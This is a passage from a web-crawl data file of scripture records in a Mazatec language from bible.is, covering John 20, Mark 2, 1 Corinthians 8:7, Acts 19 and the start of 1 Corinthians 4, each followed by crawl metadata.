Dídimo tsò‑la̱ ['én xi tsòya‑ne: Ti'ño̱], mìkiì ya̱ tíjna k'e̱ nga ijchò Jesús. 25Jñà xi̱ta̱ xi i'nga xi ti̱koa̱ ya̱ kota'yàt'aà‑la̱ Jesús, kitsò‑la̱ Tomás: ―Kà'ya‑náje̱n Na̱'èn‑ná Jesús. Tomás kitsò: ―Tsà mìkiì skoeè tsja ñánda kisinchaàs'en xó, ko̱ tsà mìkiì skinìs'en na̱jmá ndsa̱a ñánda kitáx'a̱, ko̱ tsà mìkiì skinìs'en ndsa̱a ya̱ ni̱si̱n‑la̱, mìkiì ko̱kjeiín‑na. 26Xi jye komà jiìn na̱chrjein, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ìjngoò k'a ya̱ títsa̱jna; jyeé ya̱ tíjna‑ne Tomás; ta̱nga jè xotjoa̱ ni'ya tíchjoàjto‑né. Ijchò Jesús, tsasíjnajiìn osen‑la̱, kitsò‑la̱: ―Jñò, kàtas'e‑nò kjoa̱'nchán. 27Jesús, i̱kjoàn kitsò‑la̱ Tomás: ―Chi̱nìs'in na̱jnóndsei̱i i̱jndé, chítsejèn‑la̱ ndsa̱a. Nchrobákoi̱i ndsei̱i, chi̱nìs'in ni̱si̱n‑na̱. Kì k'oa̱á s'ín mìkiì mokjeiín‑lè. Kàtakjeiín‑lè. 28K'e̱é kiìchja̱ Tomás, kitsò: ―¡Ji̱ xi Na̱'èn xan‑lè ko̱ xi Nainá xan‑lè! 29Jesús kitsò‑la̱: ―Ngaji̱ Tomás, koií kjoa̱‑la̱ mokjeiín‑lè nga kà'ya‑ná. ¡Mé tà ndaà‑la̱ jñà xi̱ta̱ xi mokjeiín‑la̱ na̱s'ín mìkiì beèxkon‑na! 30Ta̱xki̱ kjìn jchán kjo̱xkón kis'iìn ìsa̱ Jesús nga nguixko̱n xi̱ta̱ xi kota'yàt'aà‑la̱ xi mìkiì tjít'aà xo̱jo̱n jè. 31Tà jñà 'én koi k'oa̱s'ín kitjei mé‑ne nga ko̱kjeiín‑nò nga Jesús, jè xi Cristo, [jè xi xó kinìkasén‑ne] xi Ki'ndí‑la̱ Nainá. Ko̱ mé‑ne k'e̱ nga ko̱kjeiín‑nò s'e̱é‑nò kjoa̱binachon xi i̱t'aà ts'e̱.\nSan Juan 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/20","date":"2013-12-11T13:10:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036653\/warc\/CC-MAIN-20131204133356-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":687,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye tsato jò jàn ni̱chjin, ijchó india‑ni Jesús ya̱ ján na̱xi̱ndá Capernaum. Kijchaá‑la̱ nga ya̱á tíjnaya jngo ni'ya. 2Kjín jchán xi̱ta̱ kjóxkó'ta‑la̱ skanda mí kì ti̱ kjotsì'ndé‑ni ya̱ a̱jto xo̱tjo̱ba̱‑la̱ ni'ya. Jè Jesús tsi'kéna̱jmíyaá‑la̱ jè 'én nda‑la̱ Nainá. 3Ijòn ma‑ni xi̱ta̱ 'ji ra 'yaya jngo ndí xi̱ta̱ ra kjijnajyò nga tíjngo ijo‑la̱. 4Mì kì kjomà itjo'nde‑la̱ nga 'jaha'sen‑ko̱ ya̱ ni'ya, ta nga̱tjì‑la̱ nga̱ batoó kjìn ma‑ni xi̱ta̱ ra ya̱ títsa̱jna. Ya̱á iskanìmijìn ya̱ a̱sòn'nga‑la̱ ni'ya; a̱kjòn iskí'xa̱ ya̱ a̱tsjá‑la̱ ya̱ kixi̱‑la̱ ñánda̱ tíjna Jesús. Ya̱á iskanijen jè ndí xi̱ta̱ ra kiya ra kjisón yá‑la̱. 5'Kia̱ nga kijtse Jesús nga jñà xi̱ta̱ ra 'jiìkó xi̱ta̱ ra kiya, nga makjiín‑la̱ ra a̱'ta 'tse̱, kitsó‑la̱ jè ndí xi̱ta̱ ra kiya: ―Ji̱ ndí na̱'ìn, jñà jé‑li ijyeé kànìhijchaà'ta‑li. 6Ya̱á títsa̱jna i'ka jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. 'Kia̱ nga kijtse koni 'sín nga kitsò Jesús, isíkítsjen‑ní ya̱ a̱jin inìma̱‑la̱, nga kitsò: 7\"¿Mé‑ni ko̱'sín chja̱‑ni jè xi̱ta̱ ra̱kìi̱? Jé Nainá chja̱jno‑la̱ nga ko̱'sín tsò. Nga̱ ta jè ta̱jngoó Nainá ra ma‑la̱ síjchaà'tá‑ná jé‑ná.\" 8Tanga jè Jesús ndi̱to̱ón kijtse koni 'sín nga i̱nchisíkítsjen ya̱ a̱jin inìma̱‑la̱. Kitsó‑la̱: ―¿Mé‑ni ko̱tsò‑ni kjo̱bítsjen ra nchrabájin ya̱ inìma̱‑no? 9¿Ñáa̱ ra isa̱ chiba chjá tjín? ¿A jè‑ní nga kixé: \"Jñà jé‑li ijyeé kànìhijchaà'ta‑li\", o̱ ra jè‑ní nga kixé: \"Chjíbí jè na̱chan‑yá‑li, ti̱sítji̱in, ko̱ ti̱tjájme‑ni\"? 10Nda kjón kokon‑no nga 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ tjí'ndeé‑na i̱ a̱'ta nangi nga ma sijchá'ta‑la̱ jñà jé‑la̱ xi̱ta̱. 'Kia̱á kitsò‑la̱ jè ndí xi̱ta̱ ra kiya: 11―Ji̱, 'koa̱á 'sín tíxin‑la: Ti̱sítji̱in, chjíbí na̱chan‑yá‑li, ko̱ 'tin‑ni ya̱ ni'ya‑li. 12'Kia̱á tsasítje̱n jè ndí xi̱ta̱ ra kiya. Iskábé na̱chan‑yá‑la̱. Itjojin masen‑la̱ nga'tsì xi̱ta̱ ra ya̱ títsa̱jna. 'Kia̱ nga kijtse jñà kjoa̱ kìi̱ nga'tsì xi̱ta̱, tà kjóxkón‑la̱. 'Kia̱á jeya isíkíjna Nainá. Kitsò: ―Kjè sa india 'yeé kjoa̱ ra ko̱'sín ma. 13Ra kjomà a̱skan‑ni, jè Jesús kijí india‑ni ya̱ ján a̱ndi ndáchikon. Nga'tsì xi̱ta̱, ya̱á ijchòtji̱ngi‑la̱, a̱kjòn tsakón‑ya‑la̱ jè 'én nda‑la̱ Nainá. 14'Kia̱ nga i̱nchifì, Jesús kijtseé jè xi̱ta̱ ra 'mì Leví, jè ra ti‑la̱ Alfeo ra tíjna'ta ya̱ ímixa̱ ñánda̱ machjítjì tsajmì a̱'ta 'tse̱ xi̱ta̱xá Roma. Kitsò‑la̱: ―Nchrabátji̱ngi‑ná. Jè xi̱ta̱ ra 'mì Leví, ndi̱to̱ón tsasítje̱n nga kijìtji̱ngi‑la̱ Jesús. 15'Kia̱ nga jè Jesús tíjna'ta ímixa̱ ya̱ ni'ya‑la̱ Leví ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱; ko̱ ti̱'koa̱á kjín ma‑ni xi̱ta̱ ra síkíchjítjì tsajmì ko̱ jñà xi̱ta̱ ra tse jé tjín‑la̱ ya̱á tjítsa̱jna'ta‑te ímixa̱ ya̱ ñánda̱ tíjna Jesús; nga̱ kjín jchán ma‑ni xi̱ta̱ ra kiìtji̱ngi‑la̱. 16Jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ jñà xi̱ta̱ fariseo, kijtse‑ní nga jè Jesús ya̱á tíbakjèn‑ko̱ xi̱ta̱ ra tse jé tjín‑la̱ ko̱ jñà xi̱ta̱ ra síkíchjítjì tsajmì. 'Kia̱á kitsò‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús: ―¿Mé‑ni ko̱'sín 'sín‑ni jè Maestro‑najiòn nga jñà xi̱ta̱ ra tse jé tjín‑la̱ ko̱ nga jñà xi̱ta̱ ra síkíchjítjì tsajmì bakjèn‑ko̱‑ni? 17'Kia̱ nga kií'nchré Jesús; kitsó‑la̱: ―Mì tsa chji̱ne̱xki machjeén‑la̱ jñà xi̱ta̱ ra mì mé 'chin tjín‑la̱; jñá‑ní xi̱ta̱ ra kiya ra machjeén‑la̱ chji̱ne̱xki. Mì tsa ki xá 'jíi̱‑na ra 'a̱n nga jñà kichjà‑la̱ jñà ra xi̱ta̱ kixi̱ tsò‑la̱ ijo‑la̱, ta jñá‑ní kichjà‑la̱ jñà ra machi̱ya‑la̱ nga xi̱ta̱ jé‑ní. 18India‑ni 'kia̱ nga tjítsa̱jnachjan jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Juan ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ jñà xi̱ta̱ Fariseo, tjín i'ka xi̱ta̱ ra kijì ya̱ ñánda̱ tíjna Jesús nga ikjonangi‑la̱, kitsò‑la̱: ―Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Juan ko̱ jñà ra kotá'yá'ta‑la̱ xi̱ta̱ Fariseo bìtsa̱jnachjan‑ní. ¿Ko̱ mé‑ni mì tsa bìtsa̱jnachjan‑ni jñà ra xi̱ta̱ tsa̱ji? 19Kitsó‑la̱ Jesús: ―¿A bìtsa̱jnachjaán jñà xi̱ta̱ ya̱ ñánda̱ nga 'se jngo kjoa̱bixan, 'kia̱ nga takó ya̱ tíjnako̱‑isa jè xi̱ta̱ 'xi̱n ra kàbixan? 'Kia̱ nga takó tíjna‑isa, mì kì kítsa̱jnachjan‑jìn jñà xi̱ta̱. 20Tanga ki̱jchó jè ni̱chjin 'kia̱ nga tjá'an‑la̱ jè xi̱ta̱ 'xi̱n ra kàbixan; 'kia̱á‑ni nga kítsa̱jnachjan. 21'Jngo nikje ra ijye jchínga, mì kì ma tsa nikje xi̱tse̱ si̱jto'a‑la̱; nga̱ jè nikje xi̱tse̱ ski̱í'ñóya‑ní, ko̱ ya̱á ski̱íchrja̱ya‑nda jè nikje jchínga. Ko̱ isa̱á tse tjá'xa̱‑isa ya̱ ñánda̱ nga ichrjajndá. 22Ti̱'koa̱á mì kì ko̱ma si̱nchá xán ixi jñà chrja̱ba̱ ra ijye kjójchínga; nga̱ tsa ko̱'sín 'sie̱én, 'kia̱ nga ijye ko̱jchá xán, ski̱íchrja̱ya jñà chrja̱ba̱ ko̱ ya̱á jchi̱ja ijye jè xán, ko̱ ti̱'koa̱á kji̱tsón‑te jñà chrja̱ba̱. Tanga jè xán ixi, chrja̱ba̱ xi̱tse̱é tjínè‑la̱ nga si̱nchá. 23India, 'kia̱ nga ni̱chjin níkjáya ya̱á 'ja Jesús ya̱ ñánda̱ tjítje̱ trigo. Ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱, tsateé natín‑la̱ trigo. 24Jñà xi̱ta̱ Fariseo kitsó‑la̱: ―¿Mé‑ni ko̱'sín 'sín‑ni jñà xi̱ta̱‑li, jngo kjoa̱ ra mì kì tjí'nde nga 'sie̱én 'kia̱ nga ni̱chjin níkjáya? 25Tanga Jesús kitsó‑la̱: ―¿A kjeé chitá'yá jiòn ya̱ xa̱jo̱n ñánda̱ nga tíchja̱ koni 'sín ki'sìn india jè xi̱ta̱ jchínga‑ná ra tsi'kìn David ko̱ jñà xi̱ta̱ ra ta̱ña tji̱ko̱ 'kia̱ nga kjòhojò‑la̱ ko̱ kjotsìn‑la̱ mé ra iskine? 26'Kia̱ nga jè xi̱ta̱ ra 'mì Abiatar tíjna na̱'mì ítjòn, jè David 'jaha'seén ya̱ ni'ya‑la̱ Nainá nga iskine ni̱ño̱ nchra̱jín ra Nainá ijye kjonga̱tsja; ko̱ ti̱'koa̱á skanda kitsjá‑la̱ jñà xi̱ta̱ ra tji̱ko̱. Jñà ni̱ño̱ nchra̱jín kìi̱, tà jñá na̱'mì tjí'nde‑la̱ nga kjine. 27Kitsò‑isa Jesús: ―Kií xá isinda‑ni jè ni̱chjin níkjáya, nga jñà xi̱ta̱ ma sa̱kò‑la̱ kjo̱nda; mì tsa ki xá isinda‑ni jñà xi̱ta̱ nga jè ni̱chjin níkjáya sakò‑la̱ kjo̱nda ra a̱'ta 'tse̱ xi̱ta̱. 28'Koa̱á ma‑ni, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, 'a̱án batexóma‑la̱ jè ni̱chjin níkjáya.\nSan Marcos 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/2","date":"2013-12-06T14:55:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051986\/warc\/CC-MAIN-20131204131731-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":837,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7Ta̱nga mìtsà ngats'iì xi̱ta̱ tíjiìn‑la̱ kjoa̱ koi. Tjín i'nga xi̱ta̱ 'ndseé xi jye k'oa̱s'ín kjò'nga‑la̱ kjoa̱ ts'e̱ xkósòn k'e̱ nga ti̱kj'eè mokjeiín‑la̱. Ta̱nga i̱'ndei̱, k'e̱ nga kine yijo‑la̱ cho̱ xi ya̱ biyaàt'aà‑la̱ jñà xkósòn, k'oa̱á s'ín síkítsjeèn nga jñà nchibeèxkón xkósòn xi nainá tsò‑la̱ xi̱ta̱ i̱sò'nde. Nga jò tjín kjo̱hítsjeèn‑la̱, k'oa̱á s'ín fìya‑la̱ nga jé ótsji nguixko̱n Nainá.\n1 Corintios 8:7\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/7","date":"2013-12-13T15:45:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164954485\/warc\/CC-MAIN-20131204134914-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000066757202148}","num_words":62,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga takó tíjna‑isa Apolos ya̱ na̱xi̱ndá Corinto, jè Pablo kjín i̱'nde tsatojin ñánda̱ nga nindo chon. Ya̱á ijchò na̱xi̱ndá Éfeso. Ko̱ ya̱á iskajin i'ka xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo. 2Iskonangií‑la̱, kitsò‑la̱: ―¿A 'jaha'sen‑jiín‑no jè Inìma̱ Tsje‑la̱ Nainá 'kia̱ nga kjokjiín‑no ra a̱'ta 'tse̱ Cristo? Jñà xi̱ta̱ kìi̱ kitsó‑nì: ―Ngaji̱n skanda kjeé na'yá‑ji̱n tsa tjín ra Inìma̱ Tsje‑la̱ Nainá. 3Jè Pablo 'kia̱á kitsò‑la̱: ―¿Kó'sín isatíndá jiòn? Jñà xi̱ta̱ kìi̱ kitsó‑nì: ―A̱'ta 'tse̱é Juan isatíndá‑ji̱n. 4Jè Pablo kitsó‑la̱: ―Kixi̱í kjoa̱. Juan, tsatíndá‑ní xi̱ta̱ ra isíkájno‑ni jé‑la̱ nga mì ti̱ jé koa̱àtsji‑nì, tanga 'koa̱á 'sín kitsò‑la̱ xi̱ta̱ nga katakjiín‑te‑la̱ ra a̱'ta 'tse̱ Jesús, jè ra a̱skan kj'i̱í. 5'Kia̱ nga ijye kií'nchré jñà 'én kìi̱, isatíndá‑ní ra a̱'ta 'tse̱ Na̱'ín‑ná Jesús. 6Pablo, 'kia̱ nga ijye tsakásòn‑la̱ tsja, jñà xi̱ta̱ kìi̱ 'jaha'sen‑jin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, a̱kjòn kiìchja̱ 'én ra kj'ií tsò, ti̱'koa̱ kiìchja̱ ngajo‑la̱ Nainá. 7Ta nga'tsì jñà xi̱ta̱ 'xi̱n kìi̱, tejò ma‑ni. 8Jè Pablo, ján sá tsikijna ya̱ Éfeso nga xki̱ xòhoto̱ kijì ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; mì kì itsakjòn nga 'béna̱jmíya, 'ñó tsakáko̱ jñà xi̱ta̱ nga katakjiín‑la̱ a̱'ta 'tse̱ kó'sín batéxoma Nainá. 9Tanga tjín i'ka xi̱ta̱ ra bato xíjin ki'sìn; mì kì kjokjiín‑la̱ koni 'sín tsakón‑ya Pablo. 'Choó kiìchja̱ ya̱ ngixko̱n xi̱ta̱ a̱'ta 'tse̱ ndi̱yá xi̱tse̱‑la̱ Cristo. 'Kia̱á tsasì'taxìn Pablo; kiìko̱ ijye xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo. Ya̱á kiìko̱ ya̱ jngo ni'ya ñánda̱ bakón‑ya xi̱ta̱ ra 'mì Tirano. Ya̱á tsajo̱óya‑ni nga ni̱chjin nchijòn. 10Jó nó tsikijna Pablo nga tsakón‑ya‑la̱ xi̱ta̱. 'Koa̱á 'sín kjomà‑ni nga kií'nchré 'én‑la̱ Na̱'ín‑ná Jesús nga'tsì xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío ra títsa̱jna ya̱ nangi Asia. 11'Ñó tse kjo̱xkón ki'sìn Nainá ra a̱'ta 'tse̱ Pablo nga kisìchjeén. 12Skanda jñà pahìto̱‑la̱ ko̱ nikje ra síchjeén Pablo fí'ká jñà xi̱ta̱ nga fìko̱‑la̱ xi̱ta̱ ra kiya. 'Kia̱ nga ijye ka'ta‑la̱ jñà nikje kìi̱, mandaá‑ni jñà xi̱ta̱ jè 'chin ra tjín‑la̱ ko̱ bitjojiín jñà inìma̱ 'cho‑la̱ ni̱í ra ya̱ títsa̱jin inìma̱‑la̱. 13Tjín i'ka xi̱ta̱ judío ra jndíi̱ ra ján tsikima nga bachrjekàjin ya̱ inìma̱‑la̱ xi̱ta̱ jñà inìma̱ 'cho‑la̱ ni̱í ra tjítsa̱jin‑la̱. Ko̱ mejèn‑la̱ nga 'koa̱á ti̱'sín 'í‑la̱ Jesús si̱ìchjeén nga ko̱chrjekàjin inìma̱ 'cho‑la̱ ni̱í ra tjítsa̱jin ya̱ ijo‑la̱ xi̱ta̱. A̱kjòn kitsò‑la̱: ―¡'A̱n, 'koa̱á 'sín xin‑no nga a̱'ta 'tse̱ Jesús ra jè Pablo bakón‑ya, títjo̱kajion ya̱ inìma̱‑la̱ xi̱ta̱ kìi̱! 14Jñà i̱xti‑la̱ jngo xi̱ta̱ judío ra 'mì Esceva ra xi̱ta̱ ítjòn‑la̱ na̱'mì tíjna, ra ko̱'sín ki'sìn, jñà ra ito ma‑ni. 15Tanga jè inìma̱ 'cho‑la̱ ni̱í, kiìchja̱á‑la̱ nga kitsò‑la̱: ―'A̱n bexkon‑ná Jesús, ko̱ ti̱'koa̱á bexkon‑ná jè Pablo; tanga, ¿yá xi̱ta̱‑no ra jiòn? 16Ti̱'kia̱á‑ni jè xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱ kiìkanè nga iskajàn‑ko̱ jñà i̱xti kìi̱; ngi ko̱ó nga'ñó‑la̱ nga isikijne‑la̱ nga'tsiòo̱; ngi isíkíhijyo líka̱‑ní ko̱ ta 'koa̱á 'sín itjochinga ya̱ ni'ya, nga̱ batoó 'ñó isiki'on. 17Nga'tsì xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío ra tjítsa̱jna ya̱ na̱xi̱ndá Éfeso, kií'nchré‑ní koni 'sín kjomà; batoó 'ñó itsakjòn. Ko̱ isa̱á 'ñó jeya isíkíjna Jesús ra tíjna ítjòn‑ná. 18Kjín xi̱ta̱ ra ijye makjiín‑la̱ 'én‑la̱ Cristo 'ji nga tsi'kéna̱jmí ya̱ ngixko̱n xi̱ta̱ kjoa̱'cho ra ki'sìn nga ti̱'sa̱ ítjòn. 19Ti̱'koa̱á kjín ma‑ni xi̱ta̱ tj'ee̱ ra ma‑la̱ bínda nga ti̱'sa̱ ítjòn 'jiìkó ijye jñà xa̱jo̱n‑la̱ ra isìchjeén. Tsinchájin ya̱ ni'í nga kitì ya̱ ngixko̱n nga'tsì xi̱ta̱. 'Kia̱ nga ki'sìn kinda̱ jè chjí‑la̱ xa̱jo̱n, icháte jmi ni̱chjin chjí‑la̱ xi̱ta̱ tjín‑ni. 20'Koa̱á 'sín kjomà‑ni nga 'ñó tsangasòn 'én‑la̱ Cristo; tseé nga'ñó ki'se‑la̱. 21'Kia̱ nga ijye ijyehe'tà kjoa̱ kìi̱, Pablo, 'koa̱á 'sín tjíjngo ikon nga ya̱ ki̱ji̱ na̱xi̱ndá Jerusalén 'kia̱ nga ijye ko̱tojin nangi Macedonia ko̱ Acaya. Ti̱'koa̱á kitsó‑ní: \"'Kia̱ nga ijye ya̱ tíjna̱ Jerusalén, ti̱'koa̱á machjeén‑ní nga kjín‑te ya̱ ján Roma.\" 22'Kia̱á isìkasén ján Macedonia jñà xi̱ta̱ ra jò ma‑ni ra basìko̱'ta, jngo ra 'mì Timoteo ko̱ jè ra ìjngo‑isa, Erasto 'mì; jè Pablo, ya̱á tsikijna chiba ni̱chjin‑isa ya̱ nangi Asia. 23Jñà ni̱chjin kìi̱, 'ñó tse kjo̱si ki'se ya̱ Éfeso, ta nga̱tjì‑la̱ jè Ndi̱yá xi̱tse̱‑la̱ Cristo. 24Jngo xi̱ta̱ ra 'mì Demetrio ra síxáko̱ ki̱cha̱ chroba nga bínda i̱ngo̱ i̱tsíñá ra xkósòn‑la̱ jè i̱ngo̱‑la̱ Diana; ko̱ nga'tsì xi̱ta̱ ra síxáko̱ 'ñó nda síkijne to̱n. 25Tsikíxkóya nga'tsì xi̱ta̱‑la̱ ra síxáko̱ ko̱ xi̱ta̱ ra kj'ií ra ti̱'koa̱ ki xá 'sín, kitsò‑la̱: ―Nga'tsì‑najiòn, ndaá 'ya jiòn, nga jè xá ra̱kìi̱ ra ma nikijne‑iná to̱n. 26Tanga ti̱'koa̱á i̱nchi'ya‑nájiòn ko̱ i̱nchina'yá‑no nga jè xi̱ta̱ ra 'mì Pablo, 'koa̱á 'sín minchá'a ijye xi̱ta̱ nga mì‑ró tsa nainá jñà ra ta tsja xi̱ta̱ sinda‑ni; ko̱ kjín ma‑ni ra ijye itjo'taxìn, ko̱ mì tsa tà i̱ Éfeso ko̱'sín tíma, kja̱meé tà kó tíjngo nangi Asia nga ko̱tíma. 27Jè kjoa̱ ra̱kìi̱, mì kì nda tjín. Mì tsa tà jé‑jìn kjoa̱ nga jchi̱ja xá‑ná ra 'nié. Ti̱'koa̱á tjín kjo̱xkón tsa mì ti̱ kì yá xi̱ta̱ ra ske̱xkón‑ni jè i̱ngo̱‑la̱ nainá‑ná Diana ra 'ñó xkón tíjna; ko̱ ya̱á jchi̱ja kjoa̱jeya‑la̱ jè nainá‑ná. Mì tsa tà i̱ Asia nga 'yaxkón, 'yaxkón‑ni nga tíjngo i̱sà'nde. 28Jñà xi̱ta̱ kìi̱, 'kia̱ nga kií'nchré jñà 'én kìi̱, 'ñó kjojti‑la̱, a̱kjòn 'ñó kiìchja̱ nga kitsò: ―¡'Ñó jeya katijna jè nainá Diana ra 'ñó xkón tíjna ra ya̱ chja̱‑ni na̱xi̱ndá Éfeso! 29Mì ti̱ be‑ni jñà xi̱ta̱ mé ra 'si̱in; itsabá'ñó jè xi̱ta̱ ra 'mì Gayo ko̱ ra 'mì Aristarco. Ngajò xi̱ta̱ kìi̱, ya̱á kjihijtako̱ jè Pablo; ya̱á i̱'nde‑la̱ ya̱ nangi Macedonia. Kjo̱'ñó tsikínga nga kiìko̱ ya̱ ni'ya ra 'ñó teyá ñánda̱ nga maxkóya xi̱ta̱ na̱xi̱ndá. 30Jè Pablo, mején‑la̱ 'jaha'sen‑jin‑la̱ na̱xi̱ndá nga koa̱ako̱, tanga jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo mì kì kitsjá'nde‑la̱. 31Ti̱'koa̱á ya̱á títsa̱jna i'ka xi̱ta̱ ra nda báko̱ Pablo ra xá tjín‑la̱ 'tse̱ nangi Asia. Isìkasén 'én‑la̱ nga, kì tà chjàn ya̱ 'faha'sen‑jin‑la̱. 32Ya̱ ñánda̱ nga kjóxkóya xi̱ta̱, mì kì 'ya‑la̱ mé kjoa̱‑ni ra tjín. Jndíi̱ ra ján chja̱ xi̱ta̱, kja̱‑tsò kja̱‑tsò nga jngó jngó. Skanda kjín ma‑ni ra mì kì be mé‑ni ko̱'sín kjóxkóya‑ni xi̱ta̱. 33Jñà xi̱ta̱ judío tsasíjna masen jè Alejandro nga isìkìchja̱. Jè Alejandro, 'kia̱á iskimítje̱n tsja nga isíkítsa̱jnajyò xi̱ta̱. Mején‑la̱ nga ki̱chja̱tji jñà xi̱ta̱ judío ya̱ a̱jin‑la̱ xi̱ta̱ na̱xi̱ndá. 34Jñà xi̱ta̱, 'kia̱ nga kijtsexkon Alejandro nga xi̱ta̱ judío‑te, jngoó jta̱ kijì nga'tsiòo̱, 'ñó kiìchja̱ nga kitsò: ―¡Jeya katijna jè Diana ra 'ñó xkón tíjna ra nainá 'tse̱ na̱xi̱ndá Éfeso! 'Koa̱à‑la 'sín kitsò tsa jò hora. 35Jè xi̱ta̱ ra bínda xa̱jo̱n 'tse̱ na̱xi̱ndá, 'kia̱ nga ijye isíkítsa̱jnajyò‑ni xi̱ta̱ na̱xi̱ndá kitsó‑la̱: ―Nga'tsì‑no ra xi̱ta̱ Éfeso 'mì‑no, 'ya‑nájiòn nga nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde be‑ní nga jè na̱xi̱ndá Éfeso tjíkinda̱á‑la̱ i̱ngo̱‑la̱ ko̱ xkósòn‑la̱ nainá Diana ra 'ñó jeya tíjna, ra ngajmi 'ji‑ni. 36Ni̱jngo ra ko̱ma kjó'ma ra a̱'ta 'tse̱ kjoa̱ kìi̱. Machjeén‑ní nga jyò ti̱tsa̱jna; kì taxki̱ 'nià kjoa̱ ra kjè nda níkítsjen. 37Jñà xi̱ta̱ ra káfíi̱ko̱o jiòn i̱jndíi̱, mì tsa mé kjoa̱ ra 'cho tjín ki'sìn ra a̱'ta 'tse̱ i̱ngo̱‑ná, ti̱'koa̱á mì tsa jè nainá‑ná Diana ra 'ñó xkón tíjna i̱nchichja̱jno‑la̱. 38Jè Demetrio ko̱ xi̱ta̱ ra síxáko̱, tsa mé kjoa̱ ra tjín‑la̱ ko̱ xi̱ta̱ ra kj'ií, kií xá tjín‑ni xi̱ta̱xá ra ma‑la̱ bíndajín, ko̱ tjín ni'ya masen ñánda̱ nga ma si̱ndajín‑la̱ mé kjoa̱ ra tjín‑la̱ nga jngó jngó. 39Jiòn, tsa mé kjoa̱ ra mejèn‑isa‑najiòn, ya̱á katasindajín 'kia̱ nga ma jngo junta ra ngi kixi̱ tjín koni 'sín tíchja̱ kjo̱téxoma. 40Jè kjoa̱ ra kàma 'ndi̱‑ni̱, tjín‑la̱ kjo̱skòo̱n tsa ko̱'sín 'kín‑ná nga kjo̱sií i̱nchibì'tsie̱é, nga̱ mì kì ma kó'sín kixé tsa chji̱nangi‑ná a̱'ta 'tse̱ kjo̱si ra ka'se 'ndi̱‑ni̱. 41'Kia̱ nga ijye kiìchja̱, kitsò‑la̱ nga'tsì xi̱ta̱: \"Maá tangí‑no.\"\nHechos 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/19","date":"2013-12-05T19:56:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047523\/warc\/CC-MAIN-20131204131727-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1189,"character_repetition_ratio":0.072,"word_repetition_ratio":0.002,"special_characters_ratio":0.239,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á s'ín jcha̱takòn‑náje̱n koni xi̱ta̱ chi̱'nda xi síxá‑la̱ Cristo, nga ngaje̱n kjònga̱tsja‑je̱n nga ko̱kóya‑je̱n kjoa̱ tjí'ma‑la̱ Nainá. 2Jngoò xi̱ta̱ xi xá manga̱tsja, mochjeén‑né nga kàta'ya‑la̱ nga kixi̱ síkitasòn xá‑la̱. 3'A̱n, mìkiì sìkájnoa xi i̱t'aà tsa̱jòn kó tsò kjo̱hítsjeèn‑nò, a ndaá tìsìkitasoàn, a xi ch'oó tìsìkitasoàn xá xi 'a̱n kjònga̱tsja, ko̱ kó s'ín síkítsjeèn jñà xi̱ta̱xá xi bíndaàjiìn‑la̱ xi̱ta̱ i̱sò'nde. Skanda 'a̱n, mì ti̱ kiì xan‑na tsà ndaà tjín 